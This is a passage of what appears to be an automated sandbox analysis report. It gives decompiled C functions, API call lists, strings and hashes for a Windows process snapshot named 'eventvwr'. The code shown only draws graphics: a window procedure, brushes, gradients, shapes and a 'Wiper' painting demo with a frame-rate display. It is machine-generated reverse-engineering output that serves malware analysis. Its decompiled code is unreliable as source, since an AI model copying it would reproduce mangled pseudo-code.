				SetBkMode(_t178, 1);
				DrawTextA(_t178, " -  Hold Left Mouse Button down on window to pause screen updates.\n -  Drag with Left Mouse Button to move the Wiper right and left.\n -  Right Click to toggle painting mode.  Wiper color indicates mode:\n        Green:  Paint indirectly using a double buffer\n        Orange: Paint directly to the display", 0xffffffff, _t187 - 0x28, 0);
				_t159 = 3;
				__imp__??0?$basic_stringstream@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@H@Z(GetStockObject, 1);
				 *(_t187 - 4) =  *(_t187 - 4) & 0x00000000;
				 *((intOrPtr*)(_t187 +  *((intOrPtr*)( *((intOrPtr*)(_t187 - 0x118)) + 4)) - 0x118 + 0x10)) = 0x2000;
				 *((long long*)(_t190 + 0x1c - 0xc + 4)) =  *0xc165b8;
				 *((intOrPtr*)(_t187 +  *((intOrPtr*)( *((intOrPtr*)(_t187 - 0x118)) + 4)) - 0x118 + 0x14)) = GetStockObject;
				_t148 = E00C11EAD(_t159, _t178, DrawTextA,  *0xc1603d);
				__imp__??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@N@Z(_t187 - 0x110, "FrameRate: ", " FPS");
				E00C11EAD(_t159, _t178, DrawTextA,  *0xc1603d);
				_t150 = _t187 - 0x8c;
				__imp__?str@?$basic_stringstream@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBE?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@XZ(_t150, _t148);
				if( *((intOrPtr*)(_t150 + 0x18)) < 0x10) {
					_t151 = _t150 + 4;
					__eflags = _t151;
				} else {
					_t151 =  *(_t150 + 4);
				}
				_t152 = DrawTextA(_t178, _t151, 0xffffffff, _t187 - 0x28, 0x6a);
				__imp__??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ();
				if( *0xc1603c != 0) {
					_t154 = E00C13140(_t152,  *((long long*)(_t187 - 0x40)));
					_t152 = BitBlt( *(_t187 + 0xc),  *(_t187 - 0x28),  *(_t187 - 0x24), E00C13140(_t154,  *((long long*)(_t187 - 0x38))), _t154, _t178, 0, 0, 0xcc0020);
				}
				 *(_t187 - 4) =  *(_t187 - 4) | 0xffffffff;
				__imp__??_D?$basic_stringstream@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEXXZ();
				return E00C13121(_t152);
			}

APIs

__EH_prolog3.LIBCMT ref: 00C113B9
GetClientRect.USER32 ref: 00C113C5
GetStockObject.GDI32(00000000), ref: 00C1146F
FillRect.USER32 ref: 00C11477
CreateRectRgnIndirect.GDI32(?), ref: 00C11481
CreatePolygonRgn.GDI32(00000004,00000004,00000001), ref: 00C114CB
CombineRgn.GDI32(?,?,00000000,00000004), ref: 00C114DD
SaveDC.GDI32(?), ref: 00C114E6
SelectObject.GDI32(?), ref: 00C114FC
GetStockObject.GDI32(00000000), ref: 00C11500
SelectObject.GDI32(?,00000000), ref: 00C11504

Part of subcall function 00C1186A: SaveDC.GDI32(?), ref: 00C11878
Part of subcall function 00C1186A: SelectClipRgn.GDI32(?,?), ref: 00C11887
Part of subcall function 00C1186A: _invalid_parameter_noinfo.MSVCR90 ref: 00C118A9
Part of subcall function 00C1186A: SelectObject.GDI32(?,?), ref: 00C118C6
Part of subcall function 00C1186A: Ellipse.GDI32(?,00000000,00000000,00000000,00000000), ref: 00C11928
Part of subcall function 00C1186A: Rectangle.GDI32(?,00000000,00000000,00000000,00000000), ref: 00C1197D
Part of subcall function 00C1186A: RestoreDC.GDI32(?,?), ref: 00C11996

RestoreDC.GDI32(?,?), ref: 00C11561
DeleteObject.GDI32(?), ref: 00C11570
DeleteObject.GDI32(?), ref: 00C11575

Part of subcall function 00C119A1: CreateCompatibleDC.GDI32(?), ref: 00C119BB
Part of subcall function 00C119A1: SelectObject.GDI32(?,00000000), ref: 00C119E0
Part of subcall function 00C119A1: AlphaBlend.MSIMG32(?,?,00000000,?,?,?,00000000,00000000,?,?,00000000), ref: 00C11A0C
Part of subcall function 00C119A1: DeleteDC.GDI32(?), ref: 00C11A15

Part of subcall function 00C116A2: GetTickCount64.KERNEL32 ref: 00C116B1

SetBkMode.GDI32(?,00000001), ref: 00C1158D
DrawTextA.USER32(?, - Hold Left Mouse Button down on window to pause screen updates. - Drag with Left Mouse Button to move the Wiper right and left. - Right Click to toggle painting mode. Wiper color indicates mode: Green: Paint indirectly using a double buffer ,000000FF,?,00000000), ref: 00C115A7
??0?$basic_stringstream@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@H@Z.MSVCP90(00000003,00000001), ref: 00C115B5

Part of subcall function 00C11EAD: __EH_prolog3_catch.LIBCMT ref: 00C11EB4
Part of subcall function 00C11EAD: ?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP90(?,00000000), ref: 00C11F81

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@N@Z.MSVCP90 ref: 00C11611

Part of subcall function 00C11EAD: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP90(?,?,00000014,00C1160C,?,FrameRate: ), ref: 00C11F33
Part of subcall function 00C11EAD: ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHPBDH@Z.MSVCP90(?,?,?,00000014,00C1160C,?,FrameRate: ), ref: 00C11F55
Part of subcall function 00C11EAD: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP90(?), ref: 00C11FBB

?str@?$basic_stringstream@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBE?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@XZ.MSVCP90(?), ref: 00C1162C
DrawTextA.USER32(?,-00000004,000000FF,?,0000006A), ref: 00C1164A
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ.MSVCP90 ref: 00C11652
BitBlt.GDI32(?,?,?,00000000,00000000,?,00000000,00000000,00CC0020), ref: 00C11686
??_D?$basic_stringstream@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEXXZ.MSVCP90 ref: 00C11696

Strings

FrameRate: , xrefs: 00C11601
- Hold Left Mouse Button down on window to pause screen updates. - Drag with Left Mouse Button to move the Wiper right and left. - Right Click to toggle painting mode. Wiper color indicates mode: Green: Paint indirectly using a double buffer , xrefs: 00C115A1
FPS, xrefs: 00C115E5

Memory Dump Source

Source File: 00000002.00000002.465008585.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000002.00000002.464985336.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465026006.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465049572.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.465067843.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c10000_eventvwr.jbxd

Similarity

API ID: U?$char_traits@$Object$D@std@@D@std@@@std@@SelectV?$allocator@$D@2@@std@@$CreateDeleteRect$?sputc@?$basic_streambuf@DrawRestoreSaveStockText$??0?$basic_stringstream@??1?$basic_string@??6?$basic_ostream@?setstate@?$basic_ios@?sputn@?$basic_streambuf@?str@?$basic_stringstream@AlphaBlendClientClipCombineCompatibleCount64D?$basic_stringstream@D@2@@2@EllipseFillH_prolog3H_prolog3_catchIndirectModePolygonRectangleTickV01@V?$basic_string@_invalid_parameter_noinfo
String ID: - Hold Left Mouse Button down on window to pause screen updates. - Drag with Left Mouse Button to move the Wiper right and left. - Right Click to toggle painting mode. Wiper color indicates mode: Green: Paint indirectly using a double buffer $ FPS$FrameRate:
API String ID: 4093834667-1027468517
Opcode ID: 69d3e97cb03abbe5c4405062e4239594223c889a0303eaaba0cd614a0c41d1b1
Instruction ID: d30d96cb1c1ac9b74cbbf6e53ac4d61ea93ce59499565cd6c7905a83bc34e87f
Opcode Fuzzy Hash: 69d3e97cb03abbe5c4405062e4239594223c889a0303eaaba0cd614a0c41d1b1
Instruction Fuzzy Hash: 3E913AB1D00218AFDB059FA5EC49BEDBBB4FB0A310F158059F605A22A0DB319A95DF60

Uniqueness

Uniqueness Score: -1.00%

Function 00C124A9, Relevance: 19.7, APIs: 13, Instructions: 171
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00C124A9(void* __fp0, struct HWND__* _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				signed int _v8;
				struct tagPAINTSTRUCT _v76;
				struct tagRECT _v92;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t20;
				int _t24;
				long _t25;
				void* _t27;
				int _t28;
				signed int _t30;
				int _t31;
				int _t34;
				int _t36;
				signed short _t37;
				int _t42;
				int _t44;
				void* _t50;
				void* _t52;
				void* _t53;
				void* _t54;
				void* _t60;
				void* _t64;
				void* _t68;
				void* _t69;
				signed int _t71;
				unsigned int _t76;
				unsigned int _t77;
				signed int _t78;
				void* _t81;
				struct HWND__* _t83;
				void* _t84;
				intOrPtr _t86;
				void* _t87;
				void* _t90;
				signed int _t93;
				void* _t96;

				_t95 = (_t93 & 0xfffffff8) - 0x5c;
				_t20 =  *0xc16018; // 0x4f3fb031
				_v8 = _t20 ^ (_t93 & 0xfffffff8) - 0x0000005c;
				_push(_t68);
				_t86 = _a8;
				_t83 = _a4;
				_t96 = _t86 - 0x113;
				if(_t96 > 0) {
					_t24 = _t86 - 0x200;
					__eflags = _t24;
					if(_t24 == 0) {
						__eflags =  *0xc165dc;
						if( *0xc165dc == 0) {
							L40:
							_t25 = 0;
							__eflags = 0;
							L41:
							_pop(_t84);
							_pop(_t87);
							_pop(_t69);
							return E00C1272C(_t25, _t69, _v8 ^ _t95, _t81, _t84, _t87);
						}
						_t90 = (_a16 & 0x0000ffff) -  *0xc165e8 +  *0xc165f0;
						_t27 = E00C112E2(__fp0, _t83, _t90);
						 *0xc165e8 =  *0xc165e8 + _t27;
						__eflags =  *0xc165e8;
						 *0xc165f0 = _t90 - _t27;
						L39:
						goto L40;
					}
					_t28 = _t24 - 1;
					__eflags = _t28;
					if(_t28 == 0) {
						SetCapture(_t83);
						_t76 = _a16;
						_t30 = _t76 & 0x0000ffff;
						_t77 = _t76 >> 0x10;
						 *0xc165f0 =  *0xc165f0 & 0x00000000;
						 *0xc165e0 = _t30;
						 *0xc165e4 = _t77;
						 *0xc165e8 = _t30;
						 *0xc165ec = _t77;
						 *0xc165dc = 1;
						goto L40;
					}
					_t31 = _t28 - 1;
					__eflags = _t31;
					if(_t31 == 0) {
						ReleaseCapture();
						 *0xc165dc = 0;
						goto L40;
					}
					_t34 = _t31;
					__eflags = _t34;
					if(_t34 == 0) {
						SetCapture(_t83);
						 *0xc165dd = 1;
						goto L40;
					}
					_t36 = _t34 - 1;
					__eflags = _t36;
					if(_t36 == 0) {
						__eflags =  *0xc165dd;
						if( *0xc165dd != 0) {
							_t37 = _a16;
							GetClientRect(_t83,  &_v92);
							_push(_t37 >> 0x10);
							_t42 = PtInRect( &_v92, _t37 & 0x0000ffff);
							__eflags = _t42;
							if(_t42 != 0) {
								ReleaseCapture();
								_t44 =  *0xc1603c; // 0x1
								__eflags = _t44;
								_t78 = _t71 & 0xffffff00 | _t44 == 0x00000000;
								__eflags = _t44 - _t78;
								if(_t44 != _t78) {
									 *0xc1603c = _t78;
									E00C1122B();
								}
							}
						}
						 *0xc165dd = 0;
						goto L40;
					}
					__eflags = _t36 != 0xf;
					if(_t36 != 0xf) {
						L28:
						_push(_a16);
						_push(_a12);
						_push(_t86);
						L11:
						_t25 = DefWindowProcW(_t83, ??, ??, ??);
						goto L41;
					}
					L27:
					E00C1122B();
					goto L28;
				}
				if(_t96 == 0) {
					__eflags = _a12 - 0x7db;
					if(_a12 != 0x7db) {
						goto L40;
					}
					__eflags =  *0xc165dc;
					if( *0xc165dc != 0) {
						goto L40;
					}
					E00C11340(_t71, __fp0, _t83);
					goto L39;
				}
				_t50 = _t86 - 1;
				if(_t50 == 0) {
					SetTimer(_t83, 0x7db, 0xd, 0);
					goto L40;
				}
				_t52 = _t50 - 1;
				if(_t52 == 0) {
					PostQuitMessage(0);
					goto L40;
				}
				_t53 = _t52 - 3;
				if(_t53 == 0) {
					goto L27;
				}
				_t54 = _t53 - 0xa;
				if(_t54 == 0) {
					_push(BeginPaint(_t83,  &_v76));
					_push(_t83);
					E00C113AF(_t68, _t83, _t86, __eflags, __fp0);
					EndPaint(_t83,  &_v76);
					goto L40;
				}
				_t60 = _t54 - 5;
				if(_t60 == 0) {
					_t25 = 1;
					goto L41;
				}
				if(_t60 != 0xfd) {
					goto L28;
				}
				_t64 = (_a12 & 0x0000ffff) - 0x68;
				if(_t64 == 0) {
					DialogBoxParamW( *0xc1640c, 0x67, _t83, E00C126F5, 0);
					goto L40;
				}
				if(_t64 == 1) {
					DestroyWindow(_t83);
					goto L40;
				} else {
					_push(_a16);
					_push(_a12);
					_push(0x111);
					goto L11;
				}
			}

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00C1251F
DestroyWindow.USER32(?), ref: 00C1252B
DialogBoxParamW.USER32 ref: 00C12546
BeginPaint.USER32(?,?), ref: 00C1255F
EndPaint.USER32(?,?), ref: 00C12574
PostQuitMessage.USER32(00000000), ref: 00C12581
SetTimer.USER32(?,000007DB,0000000D,00000000), ref: 00C12596
GetClientRect.USER32 ref: 00C12618
PtInRect.USER32(?,?,?), ref: 00C12625
ReleaseCapture.USER32 ref: 00C1262F
SetCapture.USER32(?), ref: 00C1265B
ReleaseCapture.USER32 ref: 00C1266A

Memory Dump Source

Source File: 00000002.00000002.465008585.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000002.00000002.464985336.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465026006.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465049572.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.465067843.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c10000_eventvwr.jbxd

Similarity

API ID: Capture$PaintRectReleaseWindow$BeginClientDestroyDialogMessageParamPostProcQuitTimer
String ID:
API String ID: 4219887922-0
Opcode ID: 4bcbdc3f403ab67b0540d227d422c6bf0f12c495759793245856cd1fe825af36
Instruction ID: c00cb71310d8a6d4bae1097ca9c37d419b06702d130885f312c91dfcdd2cba04
Opcode Fuzzy Hash: 4bcbdc3f403ab67b0540d227d422c6bf0f12c495759793245856cd1fe825af36
Instruction Fuzzy Hash: BB51D336008249AFD7259F69AC49BFE3BA9F707741F148019F991D21E8DB248DE0FB61

Uniqueness

Uniqueness Score: -1.00%

Function 00C11129, Relevance: 12.0, APIs: 8, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00C11129(intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				signed int _t21;
				void* _t25;

				srand(GetTickCount());
				 *0xc165c0 = CreatePen(0, 3, 0);
				 *0xc165c4 = CreateSolidBrush(0xededed);
				 *0xc165c8 = CreateSolidBrush(0xa8e2ff);
				 *0xc165cc = CreateSolidBrush(0x99ff);
				 *0xc165d0 = CreateSolidBrush(0x40ab76);
				 *0xc165cc = CreateSolidBrush(0x8e48);
				E00C11741(0xc165f4, _t21 & 0xfffffff8, _t25, _a4, _a8);
				return E00C11741(0xc16610, _t21 & 0xfffffff8, _t25, _a4, _a8);
			}

0x00c11138
0x00c11156
0x00c11162
0x00c1116e
0x00c1117a
0x00c11186
0x00c11198
0x00c1119d
0x00c111b9

APIs

GetTickCount.KERNEL32 ref: 00C11131
srand.MSVCR90 ref: 00C11138
CreatePen.GDI32(00000000,00000003,00000000), ref: 00C11145
CreateSolidBrush.GDI32(00EDEDED), ref: 00C1115B
CreateSolidBrush.GDI32(00A8E2FF), ref: 00C11167
CreateSolidBrush.GDI32(000099FF), ref: 00C11173
CreateSolidBrush.GDI32(0040AB76), ref: 00C1117F
CreateSolidBrush.GDI32(00008E48), ref: 00C1118B

Memory Dump Source

Source File: 00000002.00000002.465008585.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000002.00000002.464985336.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465026006.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465049572.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.465067843.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c10000_eventvwr.jbxd

Similarity

API ID: Create$BrushSolid$CountTicksrand
String ID:
API String ID: 3112745008-0
Opcode ID: e35bdb79114558b74c8cfe15e3843ce4edfd52731dc7b6d23623fd68cbbd6d1f
Instruction ID: c65e77752282c805f34c7820c4ec4dc988d71f79a50afa4e1394c01f293f3fd9
Opcode Fuzzy Hash: e35bdb79114558b74c8cfe15e3843ce4edfd52731dc7b6d23623fd68cbbd6d1f
Instruction Fuzzy Hash: A2012871D40324ABDB106FB1AC0EBCD3E6AFB06760F048567FA18AB2E0EA755550DF84

Uniqueness

Uniqueness Score: -1.00%

Function 00C11A1F, Relevance: 10.6, APIs: 7, Instructions: 150
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 67%

			E00C11A1F(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t82;
				signed int _t90;
				intOrPtr* _t91;
				void* _t103;
				int _t105;
				unsigned int _t108;
				intOrPtr _t118;
				int _t129;
				struct HDC__* _t130;
				void* _t131;
				signed int _t134;
				intOrPtr _t135;
				intOrPtr _t136;
				int _t137;
				signed int _t138;
				void* _t139;
				void* _t140;
				signed int _t141;
				void* _t143;

				_t141 = _t143 - 0x70;
				_t82 =  *0xc16018; // 0x4f3fb031
				 *(_t141 + 0x6c) = _t82 ^ _t141;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *(_t141 + 0x60) =  *(_t141 + 0x78);
				asm("movsd");
				OffsetRect(_t141 + 0x48,  ~( *(_t141 + 0x48)), 0);
				_t129 =  *(_t141 + 0x50);
				_t134 = 3;
				asm("cdq");
				_t90 = _t129 / _t134;
				_t105 =  *(_t141 + 0x54);
				_t135 = 2;
				 *((intOrPtr*)(_t141 - 0x20)) = _t135;
				 *((intOrPtr*)(_t141 - 0x18)) = _t135;
				_t136 = 6;
				 *((intOrPtr*)(_t141 - 8)) = _t136;
				 *_t141 = _t136;
				_t137 =  *(_t141 + 0x4c);
				 *(_t141 + 0xc) = _t137;
				 *(_t141 + 0x14) = _t137;
				 *(_t141 + 0x2c) = _t137;
				 *(_t141 + 0x34) = _t137;
				 *(_t141 + 0x5c) = _t129;
				 *(_t141 + 0x58) = _t105;
				 *((intOrPtr*)(_t141 - 0x28)) = 0;
				 *((intOrPtr*)(_t141 - 0x24)) = 1;
				 *((intOrPtr*)(_t141 - 0x1c)) = 0;
				 *((intOrPtr*)(_t141 - 0x14)) = 3;
				 *((intOrPtr*)(_t141 - 0x10)) = 4;
				 *((intOrPtr*)(_t141 - 0xc)) = 5;
				 *((intOrPtr*)(_t141 - 4)) = 4;
				 *((intOrPtr*)(_t141 + 4)) = 7;
				_t118 = _t90 + _t90;
				 *(_t141 + 8) = _t90;
				 *(_t141 + 0x18) = _t90;
				 *(_t141 + 0x40) = _t90;
				 *((intOrPtr*)(_t141 + 0x10)) = _t118;
				 *(_t141 + 0x1c) = _t105;
				 *((intOrPtr*)(_t141 + 0x20)) = 0;
				 *(_t141 + 0x24) = _t105;
				 *((intOrPtr*)(_t141 + 0x28)) = _t118;
				 *(_t141 + 0x30) = _t129;
				 *((intOrPtr*)(_t141 + 0x38)) = _t118;
				 *(_t141 + 0x3c) = _t105;
				 *(_t141 + 0x44) = _t105;
				 *((char*)(_t141 + 0x64)) = 0;
				 *((char*)(_t141 + 0x65)) = 1;
				 *((char*)(_t141 + 0x66)) = 1;
				 *((char*)(_t141 + 0x67)) = 0;
				 *((char*)(_t141 + 0x68)) = 1;
				 *((char*)(_t141 + 0x69)) = 0;
				 *((char*)(_t141 + 0x6a)) = 0;
				 *((char*)(_t141 + 0x6b)) = 1;
				_t138 = 0;
				_t91 = _t141 - 0xa4;
				do {
					asm("sbb ecx, ecx");
					_t108 =  ~( *(_t141 + _t138 + 0x64) & 0x000000ff) &  *(_t141 + 0x7c);
					 *((intOrPtr*)(_t91 - 4)) =  *((intOrPtr*)(_t141 + 8 + _t138 * 8));
					 *_t91 =  *((intOrPtr*)(_t141 + 0xc + _t138 * 8));
					 *(_t91 + 4) = (_t108 & 0x000000ff) << 8;
					 *(_t91 + 8) = (_t108 >> 0x00000010 & 0x000000ff) << 8;
					_t126 = (_t108 >> 0x00000008 & 0x000000ff) << 8;
					asm("sbb ecx, ecx");
					 *(_t91 + 6) = (_t108 >> 0x00000008 & 0x000000ff) << 8;
					 *((short*)(_t91 + 0xa)) =  ~( *(_t141 + _t138 + 0x64) & 0x000000ff) & 0x0000ff00;
					_t138 = _t138 + 1;
					_t91 = _t91 + 0x10;
				} while (_t138 < 8);
				_t130 = CreateCompatibleDC( *(_t141 + 0x60));
				_t139 = CreateCompatibleBitmap( *(_t141 + 0x60),  *(_t141 + 0x5c),  *(_t141 + 0x58));
				SelectObject(_t130, _t139);
				BitBlt(_t130, 0, 0,  *(_t141 + 0x5c),  *(_t141 + 0x58),  *(_t141 + 0x60),  *(_t141 + 0x48),  *(_t141 + 0x4c), 0x42);
				__imp__GradientFill(_t141 - 0xa8, _t141 - 0x28, 4, 2);
				DeleteDC(_t130);
				_t131 = _t130;
				 *0xc165d8 = _t139;
				_pop(_t140);
				_t103 = 8;
				return E00C1272C(_t139, _t103,  *(_t141 + 0x6c) ^ _t141, _t126, _t131, _t140);
			}

APIs

OffsetRect.USER32(?,?,00000000), ref: 00C11A53
CreateCompatibleDC.GDI32(?), ref: 00C11B6D
CreateCompatibleBitmap.GDI32(?,?,?), ref: 00C11B7E
SelectObject.GDI32(00000000,00000000), ref: 00C11B88
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,?,?,00000042), ref: 00C11BA2
GradientFill.MSIMG32(00000000,?,00000008,?,00000004,00000002,?,?), ref: 00C11BBA
DeleteDC.GDI32(00000000), ref: 00C11BC1

Memory Dump Source

Source File: 00000002.00000002.465008585.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000002.00000002.464985336.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465026006.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465049572.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.465067843.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c10000_eventvwr.jbxd

Similarity

API ID: CompatibleCreate$BitmapDeleteFillGradientObjectOffsetRectSelect
String ID:
API String ID: 4124605331-0
Opcode ID: 57071b3482c0c9a1cee6c78ce55a6ab5514b97d9cff3b1c63068fdae965287c9
Instruction ID: fc060744ad11bba9490da60f450aee10bb29b981e9e5e641198131dae4f76e36
Opcode Fuzzy Hash: 57071b3482c0c9a1cee6c78ce55a6ab5514b97d9cff3b1c63068fdae965287c9
Instruction Fuzzy Hash: 905134B19103589FDB09DFA9C844AEE7FA9FF0A304F01816AFE1997260D3B58944DB94

Uniqueness

Uniqueness Score: -1.00%

Function 00C1186A, Relevance: 10.6, APIs: 7, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E00C1186A(intOrPtr* __eax, struct HDC__* _a4, struct HRGN__* _a8, char _a12, signed int _a16, signed int _a24) {
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				int _v24;
				intOrPtr _v28;
				char _v32;
				void* __esi;
				char _t48;
				intOrPtr _t53;
				int _t56;
				int _t58;
				int _t60;
				int _t66;
				int _t68;
				int _t70;
				void* _t73;
				intOrPtr* _t74;
				intOrPtr* _t75;
				char _t76;

				_t75 = __eax;
				_v24 = SaveDC(_a4);
				SelectClipRgn(_a4, _a8);
				_t74 =  *((intOrPtr*)(_t75 + 0x14));
				_t76 =  *_t75;
				_v28 =  *_t74;
				_v12 = _t76;
				_v32 = _t76;
				while(1) {
					_t48 = _v32;
					if(_t48 == 0 || _t48 != _v12) {
						__imp___invalid_parameter_noinfo();
					}
					if(_v28 == _t74) {
						break;
					}
					_t77 =  &_v32;
					SelectObject(_a4,  *(E00C11DF8( &_v32) + 0x20));
					_t73 = E00C11DF8( &_v32);
					_t53 = E00C11DF8(_t77);
					if(_a12 == 0) {
						_v20 = _t53;
						_v16 = E00C11DF8(_t77);
						_t56 = E00C13140(E00C11DF8( &_v32),  *(_t73 + 0x18) * _a24);
						_t58 = E00C13140(_v20,  *(_v20 + 0x10) * _a16);
						_t60 = E00C13140(_v16,  *(_v16 + 8) * _a24);
						Rectangle(_a4, E00C13140(_t60,  *_t55 * _a16), _t60, _t58, _t56);
					} else {
						_v16 = _t53;
						_v20 = E00C11DF8(_t77);
						_t66 = E00C13140(E00C11DF8(_t77),  *(_t73 + 0x18) * _a24);
						_t68 = E00C13140(_v16,  *(_v16 + 0x10) * _a16);
						_t70 = E00C13140(_v20,  *(_v20 + 8) * _a24);
						Ellipse(_a4, E00C13140(_t70,  *_t65 * _a16), _t70, _t68, _t66);
					}
					E00C11C99( &_v32);
				}
				return RestoreDC(_a4, _v24);
			}

APIs

SaveDC.GDI32(?), ref: 00C11878
SelectClipRgn.GDI32(?,?), ref: 00C11887
_invalid_parameter_noinfo.MSVCR90 ref: 00C118A9
SelectObject.GDI32(?,?), ref: 00C118C6
Ellipse.GDI32(?,00000000,00000000,00000000,00000000), ref: 00C11928
Rectangle.GDI32(?,00000000,00000000,00000000,00000000), ref: 00C1197D
RestoreDC.GDI32(?,?), ref: 00C11996

Memory Dump Source

Source File: 00000002.00000002.465008585.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000002.00000002.464985336.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465026006.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465049572.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.465067843.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c10000_eventvwr.jbxd

Similarity

API ID: Select$ClipEllipseObjectRectangleRestoreSave_invalid_parameter_noinfo
String ID:
API String ID: 996756098-0
Opcode ID: 3ee6ee41c2798373aeb58f8ef2757a44bdd32116ec9afa31071dbd95e3542ad2
Instruction ID: 9659c94d980c062ec24f155ca50f4c2e7371e986b3b6a2ea7278e0dfa350c62d
Opcode Fuzzy Hash: 3ee6ee41c2798373aeb58f8ef2757a44bdd32116ec9afa31071dbd95e3542ad2
Instruction Fuzzy Hash: A9413571D0021AEBCF00AFA5EC0AADEBB74FF09750B168551F951B3121CB34DAA5EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00C123C4, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 32
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00C123C4(struct HINSTANCE__* __eax) {
				struct _WNDCLASSEXW _v52;

				_v52.cbClsExtra = _v52.cbClsExtra & 0x00000000;
				_v52.cbWndExtra = _v52.cbWndExtra & 0x00000000;
				_v52.cbSize = 0x30;
				_v52.style = 3;
				_v52.lpfnWndProc = E00C124A9;
				_v52.hInstance = __eax;
				_v52.hIcon = LoadIconW(__eax, 0x6b);
				_v52.hCursor = LoadCursorW(0, 0x7f00);
				_v52.hbrBackground = 6;
				_v52.lpszMenuName = 0x6d;
				_v52.lpszClassName = 0xc16410;
				_v52.hIconSm = LoadIconW(_v52.hInstance, 0x6c);
				return RegisterClassExW( &_v52);
			}

0x00c123ca
0x00c123ce
0x00c123dc
0x00c123e3
0x00c123ea
0x00c123f1
0x00c123fd
0x00c1240b
0x00c1240e
0x00c12415
0x00c1241c
0x00c12425
0x00c12434

APIs

LoadIconW.USER32 ref: 00C123F4
LoadCursorW.USER32(00000000,00007F00), ref: 00C12400
LoadIconW.USER32 ref: 00C12423
RegisterClassExW.USER32 ref: 00C1242C

Strings

m, xrefs: 00C12415
0, xrefs: 00C123DC

Memory Dump Source

Source File: 00000002.00000002.465008585.0000000000C11000.00000020.00020000.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000002.00000002.464985336.0000000000C10000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465026006.0000000000C14000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.465049572.0000000000C16000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.465067843.0000000000C17000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c10000_eventvwr.jbxd

Similarity

API ID: Load$Icon$ClassCursorRegister
String ID: 0$m
API String ID: 4202395251-432128193
Opcode ID: f64d465029403c2fe231957b837f7dabcabf48fdaa770dd28da0aaa7628ece1a
Instruction ID: 141681633313b37b3a6593eae1cbe7db6ffe05ed49c4d8ba25b28c89c954e453
Opcode Fuzzy Hash: f64d465029403c2fe231957b837f7dabcabf48fdaa770dd28da0aaa7628ece1a
Instruction Fuzzy Hash: 770114B1C10219ABEF009FE4DC09BDEBFB8BB09315F10841AE510B6281D7B916548FA4

Uniqueness

Uniqueness Score: -1.00%

